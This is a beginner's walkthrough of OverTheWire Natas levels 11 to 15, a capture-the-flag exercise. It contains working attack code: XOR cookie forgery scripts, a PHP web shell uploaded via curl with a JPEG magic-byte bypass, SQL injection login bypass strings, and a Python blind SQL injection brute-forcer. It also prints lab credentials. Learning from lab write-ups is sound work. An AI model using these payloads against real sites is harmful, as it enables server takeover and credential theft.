Natas11-15

nurfitri
Natas11-15

NATAS11

  • this level is quite challenging for beginner, we need to understand php.
  • we are given an input box to change background color.
  • inspecting the source code, we noticed that our password is shown based on this condition
<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}
?>
  • tracing the variable data, it come from here
$data = loadData($defaultdata);
  • it gets it value from passing defaultdata into loadData function.
//default data
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
//our function
function loadData($def) {
    global $_COOKIE; //using cookie
    $mydata = $def; //asign default data to mydata
    //check if there is cookie called data.
    if(array_key_exists("data", $_COOKIE)) {
        // ---------------important part------------------
        //simply decode the cookie and assign to temptdata.
        $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
        //------------------------------------------------
        //---------less important part------------------
        //check if cookies decoded correctly
        if(is_array($tempdata) &&
            array_key_exists("showpassword", $tempdata) &&
            array_key_exists("bgcolor", $tempdata)) {
                //if so, and if bgcolor in hex format
            if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
                //asign temptdata to mydata
                $mydata['showpassword'] = $tempdata['showpassword'];
                $mydata['bgcolor'] = $tempdata['bgcolor'];
            }
        }
        // -----------------------------------------------
    }
    //return back mydata
    return $mydata; //if ! _COOKIE["data"]; then myData = defaultData
}
  • looking at loadData, we know that our $data can also take value from cookie.
  • we notice that the cookies is stored as the encoded string.
function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
    // base64_encode(xor_encrypt(json_encode($d)))
    // plain-> (json->xor->base64->) encoded
}
  • this part of code telly with the decoding part in loadData()
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
//decode
// encode -> (base64->xor->json_d) -> plain
  • so here we know that data in cookie get encoded.
  • but we don't really need to decode it, we just need to set the cookie value of "showpassword" to "yes"
array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); //instead of no
  • for us to trick the page into showing the password.
  • but the problem is we need to encrypt the cookie value.
  • we can find the default cookie set by the page using Dev console > Application > Storage > Cookies.
  • we can try encrypt the our cookie by using this script running locally on our pc.
$defaultdata= array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
$encrypt = base64_encode(xor_encrypt(json_encode($defaultdata)));
echo "cookie: $encrypt";
  • we got this
cookie: R0EWBhwYAgQXTUsMFwpRVVALCxwQQQcJEAAeChYcBkFGCBUJFAMCHEE=
  • this is weird, we are using the same default value but, our cookie that we get from our code is not same as default cookie set by the page.
  • we can try decode the dafault cookie set by the page using this script.
<?php
$cookie = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D";
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
$decrypt = xor_encrypt(base64_decode($cookie));
echo "$decrypt";
// we expect => "array( "showpassword"=>"no", "bgcolor"=>"#ffffff")"
?>
  • but the result is just rubbish value.
  • so our code do not get decrypt correctly.
  • if we set cookie to
R0EWBhwYAgQXTUsMFwpRVVALCxwQQQcJEAAeChYcBkFGCBUJFAMCHEE=
  • we do get the expected value.
  • the reason for this is, we are using the wrong key as being used by the page.
  • so now we need to find the correct key being use to encrypt our cookie.
  • we can find key by xoring plaintext with cypher.
plain xor key = encryp xor key = plain
10010011 xor 10010111 = 00000100 xor 10010111 = 10010011
plain xor encryp = key
10010011 xor 00000100 = 10010111
  • from here we can alter our code to find the key
<?php
$defaultdata= array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$cookie = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D";
function xor_encrypt($in) {
    // $key = '<censored>';
    global $cookie;
    $key = base64_decode($cookie);
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
$key = xor_encrypt(json_encode($defaultdata));
echo "key: $key \n";
  • running it and we got this
key: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
  • from here we assume the key is qw8J because the value is repeated to match the lenght of the text.
  • we can now use the key inside the code we previously make, change the defaultdata value to "yes", to get the encoded cookie.
cookie: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
  • then we simply change the cookie value in browser, and refresh the page.
  • and then we get the password
The password for natas12 is XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

NATAS12

  • we got an upload form, seems like we need to exploit file upload vulnerability.
  • then upload our shell to it.
  • we first try to upload an empty shell.php file, then we got the name changed to some random string with extension of .jpg.
  • inspecting the source code, we noticed, that there is a hidden input field that set the name before we upload
<input type="hidden" name="filename" value="<? print genRandomString();?>.jpg" />
  • we somehow need to bypass this and one of the solution is to make our own request using curl.
  • to upload file using curl we can use the -F tags,
  • this will add enctype="multipart/form-data.
  • don't forget to specify our Authentication token with -H tag.
  • our curl command will look something like this.
curl \
-F 'filename=shell.php' \
-F 'uploadedfile=@./shell.php' \
-H 'Authorization: Basic bmF0YXMxMjpFRFhwMHBTMjZ3TEtIWnkxckRCUFVaazBSS2ZMR0lSMw==' \
http://natas12.natas.labs.overthewire.org/index.php
  • let's try upload a simple php file
  • content of our shell.php look like this
<?php
echo phpinfo();
?>
  • we noticed that our upload process is successfull and we get the .php extension in our response.
The file <a href="upload/ekf1gg6bsz.php">upload/ekf1gg6bsz.php</a> has been
uploaded
  • clicking on that show us a phpinfo page.
  • now it's time to create a simple PHP shell.
<?php
    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
?>
  • after we upload it, navigate to our file and add the ?cmd=pwd query.
  • we noticed that we got shell execution and able to run pwd command.
  • now just cat the password file in /etc/natas_webpass/natas13
  • we got the password

NATAS13

  • this one is almost the same as previous one.
  • the diffrerent is, it perform check for the file type using exif_imagetype().
//if our file is image it return value, else it return false
// !false == true;
 else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
 }
  • based on php official docs,

    exif_imagetype() reads the first bytes of an image and checks its signature.

  • maybe one way to bypass this is to change the first bytes of our php file into image magic number.
  • from quick google we know that jpeg magic number is FF D8 FF E0
  • so we simply append this hex as binary into the beginning of shell2.php
echo -n -e '\xFF\xD8\xFF\xE0'$(cat shell.php) > shell2.php
  • we can check if we successfully change file type using file command
file -i shell2.php
  • we get
shell2.php: image/jpeg; charset=iso-8859-1
  • alternatively we can check using hexdump or xxd, and look at the first bytes
00000000: ffd8 ffe0 3c3f 7068 7020 6966 2869 7373  ....<?php if(iss
00000010: 6574 2824 5f47 4554 5b27 636d 6427 5d29  et($_GET['cmd'])
00000020: 297b 2073 7973 7465 6d28 245f 4745 545b  ){ system($_GET[
00000030: 2763 6d64 275d 293b 207d 203f 3e         'cmd']); } ?>
  • we are successfully change our file type.
  • now we can just upload it using previous method in natas12.
  • dont forget to change the url and Authentication header in our curl command.
  • we now got our password

NATAS14

  • this one look like SQL injection, because the source code reveal alot about MYSQL.
  • here are the login logic
$query = "SELECT * from users where 
username=\"".$_REQUEST["username"]."\" and 
password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
    echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
        echo "Successful login! The password for natas15 is <censored><br>";
} else {
        echo "Access denied!<br>";
}
mysql_close($link);
  • we can see that, there is a debug option for us to see our query.
  • we can meke use of it in the url ?debug&username=admin&password=test
  • we can try this query to bypass password, so that the satement is true
?debug&username=admin"%20OR%201=1%20--%20"&password=test
  • our query will look like this
SELECT * from users where username="admin" OR 1=1 -- "" and password="test"
  • what it does is, username=admin OR 1=1-- and commented the rest of the code.
  • now we are able to login and get the password
Successful login! The password for natas15 is XXXXXXXXXXXXXXXXXXXXXXXXXXX

NATAS15

  • here it's still sql injection, but there no sight of our password.
  • if the user exist it simply echo This user exists.
  • we got nothing from database, this is a blind sql attack.
  • what we need is our password for natas16.
  • what information do we have ?
  • in the source code, there is a clue of users table
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
  • maybe our password are in that table.
  • let's check if there is usernamed natas16.
  • there is indeed a user called natas16
user-exist
  • now, how do we get the password ??
  • in previous attack, we bypass the password check by commenting it.
  • here in the code, there is no password checking.
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
  • what we can do is, we can add password checking, and bruteforce the password.
$query = "SELECT * from users where username=\"". natas16" AND password LIKE BINARY " something  ."\"";
  • LIKE BINARY means we guessing short
  • we know that the password is 32 characters long mix of alpha num mix capitalisation.
  • let say if the password is Wx89iopAs
  • if we gues W it will get correct, if we guessed Wa is wrong but Wx is right.
  • so we can build up from that until we get to 32 characters long.
  • here we can create a brute script that make a request and check for words This user exists
  • here are example script to make request.
import requests
import string
#variables
#create a-zA-Z0-10 strings of characters
dicts = ''.join(string.ascii_letters+string.digits) 
dicts_filtered = ''
password = '' #buffer to store each gen password
header = {"Authorization": "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="}
sqlURI = 'http://natas15.natas.labs.overthewire.org/index.php?debug'
SQLQuery = '" and password LIKE BINARY "{}{}%"#'
#filter the character in dictionary get only the exist characters
for char in dicts:
    reqData = {'username':'natas16" and password LIKE BINARY "%{}%"#'.format(char)}
    res = requests.post(sqlURI,headers=header,data=reqData)
    # print("res:",res.text)
    if 'exists' in res.text:
        dicts_filtered +=char
print('filtered:{}'.format(dicts_filtered))
#start bruteforcing using filtered 
print('Bruteforcing.....')
for i in range(0,32):
    for char in dicts_filtered:
        reqData = {'username':'natas16'+SQLQuery.format(password,char)}
        res = requests.post(sqlURI,headers=header, data=reqData)
        #print(char)
        if 'exists' in res.text :
            password +=char
            print(password)
            break
  • in our code, the first loop we done is to filter for characters that are not exist in the password.
  • we ended up with these characters that are usable acehijmnpqtwBEHINORW03569
  • then we loop thru those characters and guess the order until it forms a 32 characters strings that are valid.
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh